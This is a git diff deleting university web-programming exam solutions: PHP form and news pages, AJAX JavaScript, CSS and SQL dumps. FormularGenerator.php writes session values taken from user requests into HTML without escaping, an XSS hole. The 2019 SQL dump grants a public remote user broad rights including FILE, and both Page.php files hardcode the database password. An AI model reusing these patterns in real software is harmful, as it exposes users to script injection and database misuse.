        sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam
        voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata
        sanctus est Lorem ipsum dolor sit amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy
        eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et
        justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit
        amet. Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore
        et dolore magna aliquyam erat, sed diam voluptua.
    </article>
</section>
<footer><h1 id="footer">Footertext</h1></footer>
</body>
</html>
\ No newline at end of file
diff --git a/src/Klausuren/19SS/CSS_Hamburger.png b/src/Klausuren/19SS/CSS_Hamburger.png
deleted file mode 100644
index 3c595c431f50eb03218de6f74bcec7646f3ed162..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/19SS/CSS_Hamburger.png and /dev/null differ
diff --git a/src/Klausuren/19SS/EWA-Klausur_SS19.pdf b/src/Klausuren/19SS/EWA-Klausur_SS19.pdf
deleted file mode 100644
index 33614d693efe7b53e81386e48408e57435fafc8a..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/19SS/EWA-Klausur_SS19.pdf and /dev/null differ
diff --git a/src/Klausuren/19SS/EWA-Klausur_SS19_Loesung.pdf b/src/Klausuren/19SS/EWA-Klausur_SS19_Loesung.pdf
deleted file mode 100644
index b008e94e6837495eca14928f6ce01f6451c70928..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/19SS/EWA-Klausur_SS19_Loesung.pdf and /dev/null differ
diff --git a/src/Klausuren/19SS/FormularGenerator.css b/src/Klausuren/19SS/FormularGenerator.css
deleted file mode 100644
index 3a34483e33302d234114188fabebdee2927f1d95..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/FormularGenerator.css
+++ /dev/null
@@ -1,51 +0,0 @@
-/* In der Klausur nicht erwartet */
-* {
-    font-size: 1rem;
-    color: black;
-    background-color: white;
-    padding: 0;
-    margin: 0;
-}
-
-label {
-    display: inline-block;
-    margin: 1em;
-}
-
-.row {
-    margin: 0.5em;
-    padding: 0.5em;
-}
-
-.submit {
-    padding: 0.5em;
-    margin: 1em;
-}
-
-* {
-    font-family: Verdana, sans-serif;
-    background-color: #eeeeee;
-}
-
-form {
-    border: 0.2em solid black;
-    background-color: grey;
-}
-
-label {
-    width: 15em;
-}
-
-input {
-    width: 15em;
-}
-
-.row {
-    display: inline-block;
-    border: 0.2rem solid grey;
-}
-
-.submit {
-    width: auto;
-    display: block;
-}
diff --git a/src/Klausuren/19SS/FormularGenerator.js b/src/Klausuren/19SS/FormularGenerator.js
deleted file mode 100644
index b3b7fc606b83a8adabc3f4c8045273053ead981e..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/FormularGenerator.js
+++ /dev/null
@@ -1,33 +0,0 @@
-window.onload = init;
-
-function init() {
-    // eventlistener registrieren via JS
-    // alternativ in HTML moeglich <input ... onchange="sendData()" .../>;
-    // oninput wäre noch besser, aber onchange ist in Ordnung
-    "use strict";
-    let inputs = document.getElementsByTagName("input");
-    console.log("Seite vollständig geladen... " + inputs.length);
-    for (let i = 0; i < inputs.length; i++) {
-        inputs[i].addEventListener("change", sendData, false);
-    }
-}
-
-function sendData() {
-    "use strict";
-    let elem = event.target; // wenn die Funktion durch ein Event (onxxx) aufgerufen wurde, 
-                             // liefert event.target den DOM-Knoten, an dem das Event ausgeloest wurde
-    let key = elem.name;
-    console.log("Sendig AJAX Request... " + key);
-    let value = elem.value;
-    let param = "key=" + key + "&value=" + encodeURI(value);	 //encodeURI not expected !
-    let xhr = new XMLHttpRequest();
-    xhr.open("GET", "FormularGenerator.php?" + param);
-
-    xhr.onreadystatechange = function () {
-        if (this.readyState === 4 && this.status === 200) {
-            console.log("AJAX Request finished; Data stored in Session");
-        }
-    };
-    console.log("sending AJAX Request: " + param);
-    xhr.send();
-}
\ No newline at end of file
diff --git a/src/Klausuren/19SS/FormularGenerator.php b/src/Klausuren/19SS/FormularGenerator.php
deleted file mode 100644
index 35aaffa246eaed0ac92f077006db9f70fba2e93d..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/FormularGenerator.php
+++ /dev/null
@@ -1,138 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-
-// This is a template for top level classes, which represent a complete web page and
-// which are called directly by the user.
-// The order of methods might correspond to the order of thinking during implementation.
-
-require_once './Page.php';
-
-// to do: change name 'PageTemplate' throughout this file
-class FormularGenerator extends Page
-{
-    // to do: declare attributes (e.g. references for member variables representing substructures/blocks)
-
-    protected function __construct()
-    {
-        parent::__construct();
-        // to do: instantiate attribute objects
-    }
-
-    public function __destruct()
-    {
-        // to do: if necessary, destruct attribute objects representing substructures/blocks
-        parent::__destruct();
-    }
-
-
-    protected function getViewData()
-    {
-        // ID beinhaltet implizit die Anzeigereihenfolge
-        $sql = "SELECT ID, Beschriftung, NameAttr, Typ FROM Formelemente ORDER BY ID";
-
-        $recordset = $this->db->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->db->error);
-        }
-
-        $elemente = array();
-        $data = array();
-        while ($record = $recordset->fetch_assoc()) {
-            $data["ID"] = $record["ID"];
-            $data["Beschriftung"] = $record["Beschriftung"];
-            $data["NameAttr"] = $record["NameAttr"];
-            $data["Typ"] = $record["Typ"];
-            $elemente[$record["ID"]] = $data; // Array of arrays
-        }
-        $recordset->free();
-        return $elemente;
-    }
-
-    protected function generateView()
-    {
-        if (!isset($_GET["key"])) { //No response-page required for AJAX-request (not expected)
-            $viewData = $this->getViewData();
-            $this->generatePageHeader('FormularGenerator');
-
-            echo <<<HTML
-			<form action="https://echo.fbi.h-da.de" method="post" accept-charset="UTF-8">
-			
-HTML;
-            foreach ($viewData as $elemente => $data) { //NOSONAR ignore unused $elemente
-                $this->generateInputElement($data);
-            }
-            echo <<<HTML
-				<input class = "submit" type="submit" value="Absenden"/>
-				</form>
-HTML;
-            $this->generatePageFooter();
-        }
-    }
-
-    private function generateInputElement($data)
-    {
-        $type = $data['Typ'];
-        $name = $data['NameAttr'];
-        // do not use htmlspecialchars before view is being generated!
-        $label = htmlspecialchars($data["Beschriftung"]);
-        $value = "";
-        if (isset($_SESSION[$name])) { // AJAX-Werte einbauen
-            $value = $_SESSION[$name];
-        }
-
-        echo <<<HTML
-	<div class="row">
-			<label> $label <!-- label needs to be defined (accessibility) -->
-				<input type="$type" name="$name" value="$value"/>	
-			</label>
-	</div>
-	
-HTML;
-    }
-
-    protected function isValidKey($name)
-    {
-        //Helper function - checks whether passed name-attribute exists in database
-        $key = $this->db->real_escape_string($name);
-        $sql = "SELECT NameAttr FROM Formelemente WHERE NameAttr ='$key'";
-        //error_log ("****** $sql *******");
-        $recordset = $this->db->query($sql);
-        if (!$recordset) {
-            throw new Exception("Abfrage fehlgeschlagen: " . $this->db->error);
-        }
-
-        $ret = false;
-        if ($recordset->num_rows) {
-            $ret = true;
-        }
-        $recordset->free();
-        return $ret;
-    }
-
-    protected function processReceivedData()
-    {
-        session_start(); // first thing - maybe in main, but better here because main is given
-        parent::processReceivedData();
-        if (isset($_GET["key"]) && isset($_GET["value"])) {
-            $key = $_GET["key"];
-            $value = $_GET["value"];
-            //error_log ("$key = $value"); 	// for debugging
-            if ($this->isValidKey($key)) {
-                $_SESSION[$key] = $value;
-            }
-        }
-    }
-
-    public static function main()
-    {
-        try {
-            $page = new FormularGenerator();
-            $page->processReceivedData();
-            $page->generateView();
-        } catch (Exception $e) {
-            header("Content-type: text/plain; charset=UTF-8");
-            echo $e->getMessage();
-        }
-    }
-}
-
-FormularGenerator::main();
diff --git a/src/Klausuren/19SS/FormularGenerator.sql b/src/Klausuren/19SS/FormularGenerator.sql
deleted file mode 100644
index 2da6e3ce3e5141ada0121e9f071adf5480540418..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/FormularGenerator.sql
+++ /dev/null
@@ -1,77 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 4.8.3
--- https://www.phpmyadmin.net/
---
--- Host: localhost
--- Generation Time: May 28, 2019 at 03:14 PM
--- Server version: 10.1.37-MariaDB
--- PHP Version: 7.2.12
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
-REVOKE ALL PRIVILEGES ON *.* FROM 'public'@'%'; REVOKE GRANT OPTION ON *.* FROM 'public'@'%'; GRANT SELECT, INSERT, UPDATE, DELETE, FILE ON *.* TO 'public'@'%' REQUIRE NONE WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0; 
-
---
--- Database: `formbuilder`
---
-CREATE DATABASE IF NOT EXISTS formbuilder
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE formbuilder;
--- --------------------------------------------------------
-
---
--- Table structure for table `Formelemente`
---
-
-CREATE TABLE IF NOT EXISTS `Formelemente` (
-  `ID` int(11) NOT NULL,
-  `Beschriftung` varchar(255) COLLATE utf8_unicode_ci NOT NULL,
-  `NameAttr` varchar(255) CHARACTER SET utf32 COLLATE utf32_unicode_ci NOT NULL,
-  `Typ` enum('text','button','radio') COLLATE utf8_unicode_ci NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Dumping data for table `Formelemente`
---
-
-INSERT INTO `Formelemente` (`ID`, `Beschriftung`, `NameAttr`, `Typ`) VALUES
-(1, 'Name, Vorname', 'fullname', 'text'),
-(2, 'Straße', 'strasse', 'text'),
-(3, '<Bemerkung>', 'bemerkung', 'text');
-
---
--- Indexes for dumped tables
---
-
---
--- Indexes for table `Formelemente`
---
-ALTER TABLE `Formelemente`
-  ADD PRIMARY KEY (`ID`);
-ALTER TABLE `Formelemente` ADD FULLTEXT KEY `Beschriftung` (`Beschriftung`);
-
---
--- AUTO_INCREMENT for dumped tables
---
-
---
--- AUTO_INCREMENT for table `Formelemente`
---
-ALTER TABLE `Formelemente`
-  MODIFY `ID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/src/Klausuren/19SS/Page.php b/src/Klausuren/19SS/Page.php
deleted file mode 100644
index 9ae42056a54f7b8430d3febada765bd7b98b5ff3..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/Page.php
+++ /dev/null
@@ -1,53 +0,0 @@
-<?php
-
-abstract class Page
-{
-    protected $db;
-
-    protected function __construct()
-    {
-        // activate full error checking
-        error_reporting(E_ALL);
-
-        $this->db = new MySQLi("mariadb", "public", "public", "formbuilder"); //NOSONAR ignore hardcoded password
-        if ($this->db->connect_errno) {
-            throw new Exception("Connect failed: " . $this->db->connect_errno);
-        }
-        if (!$this->db->set_charset("utf8")) {
-            throw new Exception($this->db->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->db->close();
-    }
-
-    protected function generatePageHeader($headline = "")
-    {
-        header("Content-type: text/html; charset=UTF-8");
-        $headline = htmlspecialchars($headline);
-        echo <<<EOT
-<!DOCTYPE html>
-	<html lang="de">
-		<head>
-			<meta charset="UTF-8"/>
-			<title>$headline</title>
-			<link rel="stylesheet" type="text/css" href="FormularGenerator.css"/>
-			<script src="FormularGenerator.js"></script>
-		</head>
-		<body>
-
-EOT;
-    }
-
-    protected function generatePageFooter()
-    {
-        echo "</body>\n";
-        echo "</html>\n";
-    }
-
-    protected function processReceivedData()
-    {
-    }
-}
diff --git a/src/Klausuren/19SS/index.php b/src/Klausuren/19SS/index.php
deleted file mode 100644
index c35905154dd6db58603d89f7935388c29929d7d3..0000000000000000000000000000000000000000
--- a/src/Klausuren/19SS/index.php
+++ /dev/null
@@ -1,20 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2019</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2019</h1>
-</header>
-<main>
-    <ul>
-        <li><a href="EWA-Klausur_SS19.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="EWA-Klausur_SS19_Loesung.pdf">Die Klausuraufgabe mit Lösungen als PDF</a></li>
-        <li><a href="FormularGenerator.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-        <li><a href="CSS_Aufgabe.html">Die CSS-Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/20SS/.gitignore b/src/Klausuren/20SS/.gitignore
deleted file mode 100644
index 6e3f6c4fb2ceaa57e2b13e429be62f09da9763db..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/.gitignore
+++ /dev/null
@@ -1,2 +0,0 @@
-.idea
-.phpdoc
\ No newline at end of file
diff --git a/src/Klausuren/20SS/20-News.sql b/src/Klausuren/20SS/20-News.sql
deleted file mode 100644
index b04ba9713bdcfd49e0941780d2bf23ceed56505f..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/20-News.sql
+++ /dev/null
@@ -1,77 +0,0 @@
--- phpMyAdmin SQL Dump
--- version 5.0.1
--- https://www.phpmyadmin.net/
---
--- Host: mariadb:3306
--- Erstellungszeit: 02. Jul 2020 um 14:41
--- Server-Version: 10.4.12-MariaDB-1:10.4.12+maria~bionic
--- PHP-Version: 7.4.1
--- UTF8 Header äüöüßßßäü
-
-SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
-SET AUTOCOMMIT = 0;
-START TRANSACTION;
-SET time_zone = "+00:00";
-SET NAMES utf8mb4;
-
-
-/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
-/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
-/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
-/*!40101 SET NAMES utf8mb4 */;
-
---
--- Datenbank: `newsfeed`
---
---
-CREATE DATABASE IF NOT EXISTS 2020_News
-DEFAULT CHARACTER SET utf8
-COLLATE utf8_unicode_ci;
-
-USE 2020_News;
-
--- Tabellenstruktur für Tabelle `news`
---
-
-
-CREATE TABLE IF NOT EXISTS `news` (
-  `id` int(11) NOT NULL,
-  `timestamp` timestamp NOT NULL DEFAULT current_timestamp(),
-  `title` varchar(255) NOT NULL,
-  `text` varchar(1024) NOT NULL
-) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
-
---
--- Daten für Tabelle `news`
---
-
-INSERT INTO `news` (`id`, `timestamp`, `title`, `text`) VALUES
-(1, '2020-07-03 09:05:38', 'Ist das <script>-Tag böse?', 'Am 13.07.2020 berichtet Prof. Dr. E. Wa über die Vor- und Nachteile der JavaScript-Tags in HTML'),
-(2, '2020-07-05 09:09:05', 'Hochschulpakt unterzeichnet: h_da erwartet positiven Effekt auf Forschung und Lehre', 'Der hessische Hochschulpakt für die Jahre 2021 bis 2025 ist unterschrieben. Darin haben die Landesregierung und die Hochschulen die Rahmenbedingungen für die Hochschulentwicklung in den kommenden fünf Jahren vereinbart. Erstmals erhalten die Hochschulen für Angewandte Wissenschaften (HAWs) und somit auch die Hochschule Darmstadt (h_da) reguläre Haushaltsmittel für den Aufbau eines akademischen Mittelbaus. '),
-(3, '2020-07-07 09:10:13', 'Campus Haardtring: Studierende und Beschäftigte setzen sich für mehr Verkehrssicherheit ein', 'Viele Studierende und Beschäftigte am Campus Haardtring erreichen die dortigen Gebäude über die Haltestelle „Hochschule West“. Doch Richtung Süden müssen sie den vierspurigen Haardtring überqueren, um zur Haltestelle zu laufen. Allerdings gibt es hier keine Fußgängerüberquerung. Um auf diese Gefahrenquelle aufmerksam zu machen und eine Lösung einzufordern, haben Mitglieder des Fachbereichs Bauingenieurwesen in Kooperation mit der h_da-Mobilitätskommission 1.000 Unterschriften gesammelt. Diese wurden nun dem städtischen Mobilitätsamt übergeben. Das möchte jetzt schnell reagieren.'),
-(4, '2020-07-13 09:12:19', 'Solidarität statt Rendite? – Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv', 'Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv: Rund 300 Bürgerinnen und Bürger verfolgen die Podiumsdiskussion über das Verhältnis von Gemeinwohl-Ökonomie und Wirtschaftswachstum');
-
---
--- Indizes der exportierten Tabellen
---
-
---
--- Indizes für die Tabelle `news`
---
-ALTER TABLE `news`
-  ADD PRIMARY KEY (`id`);
-
---
--- AUTO_INCREMENT für exportierte Tabellen
---
-
---
--- AUTO_INCREMENT für Tabelle `news`
---
-ALTER TABLE `news`
-  MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
-COMMIT;
-
-/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
-/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
-/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
diff --git a/src/Klausuren/20SS/EWA-Klausur_SS20.pdf b/src/Klausuren/20SS/EWA-Klausur_SS20.pdf
deleted file mode 100644
index be88bd4ce2ac751732a80a9c41b01351fcdc49ec..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/20SS/EWA-Klausur_SS20.pdf and /dev/null differ
diff --git a/src/Klausuren/20SS/EWA-Klausur_SS20_Loesung.pdf b/src/Klausuren/20SS/EWA-Klausur_SS20_Loesung.pdf
deleted file mode 100644
index 0af8f812e368a5d40e3a84e19b21a6c99e536cca..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/20SS/EWA-Klausur_SS20_Loesung.pdf and /dev/null differ
diff --git a/src/Klausuren/20SS/Klausur_20SS_Flexbox.html b/src/Klausuren/20SS/Klausur_20SS_Flexbox.html
deleted file mode 100644
index dca8d9aef62f5e61b4184ccb31a290346a64fdec..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/Klausur_20SS_Flexbox.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html>
-	<html lang="de">
-		<head>
-			<meta charset="UTF-8"/>
-			<title>News mit Flexbox</title>
-			<style>
-				<!--
-
-body { /* Aufgabe 5a */
-    font-family: Roboto, sans-serif;
-}
-
-li {
-    list-style-type: none; /* oder list-style: none; */
-    display: inline-block;
-}
-
-.flex-container {
-	display: flex;
-	flex-wrap:wrap;
-	justify-content: flex-start;
-	
-}
-
-article { /* flex-item */
-    /* width: 15em; */
-	flex-basis: 15em;
-	
-    height: 15em;
-    overflow: auto;
-}
-
-footer { /* Aufgabe 5d */
-    margin-top: 2em;
-    text-align: center;
-    background-color: grey;
-    color: white;
-}
-
-
-
-/* ************* CSS - das nicht in der Klausur gefragt war ************** */
-* {
-    padding: 0;
-    margin: 0;
-}
-
-body {
-    color: black;
-    background-color: GhostWhite;
-    font-size: 1em;
-}
-
-li {
-    margin: 0.5em;
-    padding: 0.5em;
-    background-color: lightgrey;
-    color: black;
-}
-
-article {
-    margin: 0.5em;
-    padding: 0.5em;
-	/* text-align: justify; */
-}
-
-header {
-    text-align: center;
-    color: white;
-    background-color: grey;
-    height: 5em;
-    padding: 1em;
-
-}
-
-section {
-    padding: 1em;
-}
-
-header img {
-    float: left;
-    height: 4em;
-}
-
-h1 {
-    display: inline;
-    text-align: center;
-}
-
-p {
-    margin-top: 0.5em;
-}
-
-nav {
-    margin-top: -1.5em;
-    height: 2em;
-}
-
-textarea {
-    width: 100%;
-    display: block;
-}
-
-.formular {
-    width: 35%;
-    min-width: 30em;
-    padding: 0.5em;
-}
-
-input[type='text'] {
-    display: block;
-    width: 100%;
-}
-
-input[type='submit'] {
-    display: block;
-    width: 10em;
-    padding: 0.2em;
-    margin: 0.2em;
-    background: silver;
-}
-		-->
-			</style>
-		</head>
-		<body>
-			<header>
-				<h1>Meine Zeitung</h1>
-			</header>
-			<nav>
-				<ul>
-					<li>Home</li>
-					<li>Mediathek</li>
-					<li>Politik</li>
-					<li>Sport</li>
-				</ul>
-			</nav>
-			<section>
-				<h2>News-Ticker</h2>
-				<div id="news" class="flex-container">
-					<article class="flex-item">
-						<h3>Solidarität statt Rendite? – Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv</h3>
-						<p class="timestamp">13.07.2020 11:12:19</p>
-						<p>Mit ihrem 1. Dialog-Forum trifft die h_da einen Nerv: Rund 300 Bürgerinnen und Bürger verfolgen die Podiumsdiskussion über das Verhältnis von Gemeinwohl-Ökonomie und Wirtschaftswachstum</p>
-					</article>
-					<article class="flex-item">
-						<h3>Campus Haardtring: Studierende und Beschäftigte setzen sich für mehr Verkehrssicherheit ein</h3>
-						<p class="timestamp">07.07.2020 11:10:13</p>
-						<p>Viele Studierende und Beschäftigte am Campus Haardtring erreichen die dortigen Gebäude über die Haltestelle „Hochschule West“. Doch Richtung Süden müssen sie den vierspurigen Haardtring überqueren, um zur Haltestelle zu laufen. Allerdings gibt es hier keine Fußgängerüberquerung. Um auf diese Gefahrenquelle aufmerksam zu machen und eine Lösung einzufordern, haben Mitglieder des Fachbereichs Bauingenieurwesen in Kooperation mit der h_da-Mobilitätskommission 1.000 Unterschriften gesammelt. Diese wurden nun dem städtischen Mobilitätsamt übergeben. Das möchte jetzt schnell reagieren.</p>
-					</article>
-					<article class="flex-item">
-						<h3>Hochschulpakt unterzeichnet: h_da erwartet positiven Effekt auf Forschung und Lehre</h3>
-						<p class="timestamp">05.07.2020 11:09:05</p>
-						<p>Der hessische Hochschulpakt für die Jahre 2021 bis 2025 ist unterschrieben. Darin haben die Landesregierung und die Hochschulen die Rahmenbedingungen für die Hochschulentwicklung in den kommenden fünf Jahren vereinbart. Erstmals erhalten die Hochschulen für Angewandte Wissenschaften (HAWs) und somit auch die Hochschule Darmstadt (h_da) reguläre Haushaltsmittel für den Aufbau eines akademischen Mittelbaus. </p>
-					</article>
-					<article class="flex-item">
-						<h3>Ist das &lt;script&gt;-Tag böse?</h3>
-						<p class="timestamp">03.07.2020 11:05:38</p>
-						<p>Am 13.07.2020 berichtet Prof. Dr. E. Wa über die Vor- und Nachteile der JavaScript-Tags in HTML</p>
-					</article>
-				</div>
-			</section>
-			<section>
-				<h2>Ihre News</h2>
-				<form action="news.php" method="post" accept-charset="UTF-8">
-					<div class="formular">
-						<input type="text" name="Titel" placeholder="Titel Ihrer News" value="" tabindex="1"/>
-						<textarea name="Text2" placeholder="Ihre News" tabindex="2" accesskey="n"></textarea>
-						<input type="submit" value="Absenden" tabindex="-1"/>
-					</div>
-				</form>
-			</section>
-			<footer>
-				<p>&copy; Fachbereich Informatik</p>
-			</footer>
-		</body>
-	</html>
\ No newline at end of file
diff --git a/src/Klausuren/20SS/Page.php b/src/Klausuren/20SS/Page.php
deleted file mode 100644
index ab13a2e74078f3715007a86b5bc9afe0485cf0e9..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/Page.php
+++ /dev/null
@@ -1,84 +0,0 @@
-<?php // UTF-8 marker äöüÄÖÜ߀
-abstract class Page
-{
-    protected $db = null;
-
-    protected function __construct()
-    {
-        error_reporting(E_ALL);
-        // This code switches from the the local installation (XAMPP) to the docker installation
-        // not required in examination
-        $host = "localhost";
-        if (gethostbyname('mariadb') != "mariadb") {
-            $host = "mariadb";
-        }
-
-        $this->db = new MySQLi($host, "public", "public", "2020_News"); //NOSONAR ignore hardcoded password
-
-        if ($this->db->connect_errno) {
-            throw new Exception("Connect failed: " . $this->db->connect_errno);
-        }
-
-        // set charset to UTF8!!
-        if (!$this->db->set_charset("utf8")) {
-            throw new Exception($this->db->error);
-        }
-    }
-
-    public function __destruct()
-    {
-        $this->db->close();
-    }
-
-    /**
-     * Generates the header section of the page.
-     * i.e. starting from the content type up to the body-tag.
-     * Takes care that all strings passed from outside
-     * are converted to safe HTML by htmlspecialchars.
-     *
-     * @param $headline $headline is the text to be used as title of the page
-     */
-    protected function generatePageHeader($headline = "")
-    {
-        header("Content-type: text/html; charset=UTF-8");
-        $headline = htmlspecialchars($headline);
-
-        echo <<<EOT
-<!DOCTYPE html>
-<html lang="de">  
-  <head>
-    <meta charset="UTF-8" />
-	<title>$headline</title>
-    <link rel="stylesheet" type="text/css" href="news.css" />
-    <script src="news.js"> </script>
-  </head>
-EOT;
-
-    }
-
-    /**
-     * Outputs the end of the HTML-file i.e. /body etc.
-     */
-    protected function generatePageFooter()
-    {
-        echo "</html>";
-    }
-
-    /**
-     * Processes the data that comes via GET or POST i.e. CGI.
-     * If every page is supposed to do something with submitted
-     * data do it here. E.g. checking the settings of PHP that
-     * influence passing the parameters (e.g. magic_quotes).
-     */
-    protected function processReceivedData()
-    {
-
-    }
-} // end of class
-
-// Zend standard does not like closing php-tag!
-// PHP doesn't require the closing tag (it is assumed when the file ends). 
-// Not specifying the closing ? >  helps to prevent accidents 
-// like additional whitespace which will cause session 
-// initialization to fail ("headers already sent"). 
-//? >
\ No newline at end of file
diff --git a/src/Klausuren/20SS/index.php b/src/Klausuren/20SS/index.php
deleted file mode 100644
index df12fde6634e623d0ac5de3860d3f600c4d616bf..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/index.php
+++ /dev/null
@@ -1,19 +0,0 @@
-<!DOCTYPE html>
-<html lang="de">
-<head>
-    <meta charset="UTF-8"/>
-    <title>EWA-Klausur 2020</title>
-</head>
-<body>
-<header>
-    <h1>EWA-Klausur im Sommersemester 2020</h1>
-</header>
-<main>
-    <ul>
-        <li><a href="EWA-Klausur_SS20.pdf">Die Klausuraufgabe als PDF</a></li>
-        <li><a href="EWA-Klausur_SS20_Loesung.pdf">Die Klausuraufgabe mit Lösungen als PDF</a></li>
-        <li><a href="news.php">Die Lösung der Aufgabe als Webanwendung</a></li>
-    </ul>
-</main>
-</body>
-</html>
\ No newline at end of file
diff --git a/src/Klausuren/20SS/logo.png b/src/Klausuren/20SS/logo.png
deleted file mode 100644
index 33098cf5126fb00080514d73a730814a0ccde93b..0000000000000000000000000000000000000000
Binary files a/src/Klausuren/20SS/logo.png and /dev/null differ
diff --git a/src/Klausuren/20SS/news.css b/src/Klausuren/20SS/news.css
deleted file mode 100644
index 701a2947d789dff512bb2e6948c8460935045636..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/news.css
+++ /dev/null
@@ -1,105 +0,0 @@
-
-body { /* Aufgabe 5a */
-    font-family: Roboto, sans-serif;
-}
-
-li { /* Aufgabe 5b */
-    list-style-type: none; /* oder list-style: none; */
-    display: inline-block;
-}
-
-article { /* Aufgabe 5c */
-    display: inline-block;
-
-    width: 15em;
-    height: 15em;
-
-    overflow: auto;
-}
-
-footer { /* Aufgabe 5d */
-    margin-top: 2em;
-    text-align: center;
-    background-color: grey;
-    color: white;
-}
-
-/* ************* CSS - das nicht in der Klausur gefragt war ************** */
-* {
-    padding: 0;
-    margin: 0;
-}
-
-body {
-    color: black;
-    background-color: GhostWhite;
-    font-size: 1em;
-}
-
-li {
-    margin: 0.5em;
-    padding: 0.5em;
-    background-color: lightgrey;
-    color: black;
-}
-
-article {
-    margin: 0.5em;
-    padding: 0.5em;
-}
-
-header {
-    text-align: center;
-    color: white;
-    background-color: grey;
-    height: 5em;
-    padding: 1em;
-
-}
-
-section {
-    padding: 1em;
-}
-
-header img {
-    float: left;
-    height: 4em;
-}
-
-h1 {
-    display: inline;
-    text-align: center;
-}
-
-p {
-    margin-top: 0.5em;
-}
-
-nav {
-    margin-top: -1.5em;
-    height: 2em;
-}
-
-textarea {
-    width: 100%;
-    display: block;
-}
-
-.formular {
-    width: 35%;
-    min-width: 30em;
-    padding: 0.5em;
-}
-
-input[type='text'] {
-    display: block;
-    width: 100%;
-}
-
-input[type='submit'] {
-    display: block;
-    width: 10em;
-    padding: 0.2em;
-    margin: 0.2em;
-    background: silver;
-}
\ No newline at end of file
diff --git a/src/Klausuren/20SS/news.js b/src/Klausuren/20SS/news.js
deleted file mode 100644
index 7cfca73c80979a10a343f4a666f05fff69f001e0..0000000000000000000000000000000000000000
--- a/src/Klausuren/20SS/news.js
+++ /dev/null
@@ -1,73 +0,0 @@
-let request = new XMLHttpRequest();
-
-function requestData() { // fordert die Daten asynchron an
-    "use strict";
-    request.open("GET", "news.php?JSON=1"); // URL für HTTP-GET
-    request.onreadystatechange = processData; //Callback-Handler zuordnen
-    request.send(null); // Request abschicken
-}
-
-function processData() {
-    "use strict";
-    if (request.readyState === 4) { // Uebertragung = DONE
-        if (request.status === 200) { // HTTP-Status = OK
-            if (request.responseText != null)
-                processNews(request.responseText); // Daten verarbeiten
-            else console.error("Dokument ist leer");
-        } else console.error("Uebertragung fehlgeschlagen");
-    } // else; // Uebertragung laeuft noch
-}
-
-// Ende des gegebenen Codes
-
-
-function pollNews() {
-    "use strict";
-    // Aufgabe 4a) ************************
-    requestData();
-    window.setInterval(requestData, 8000);
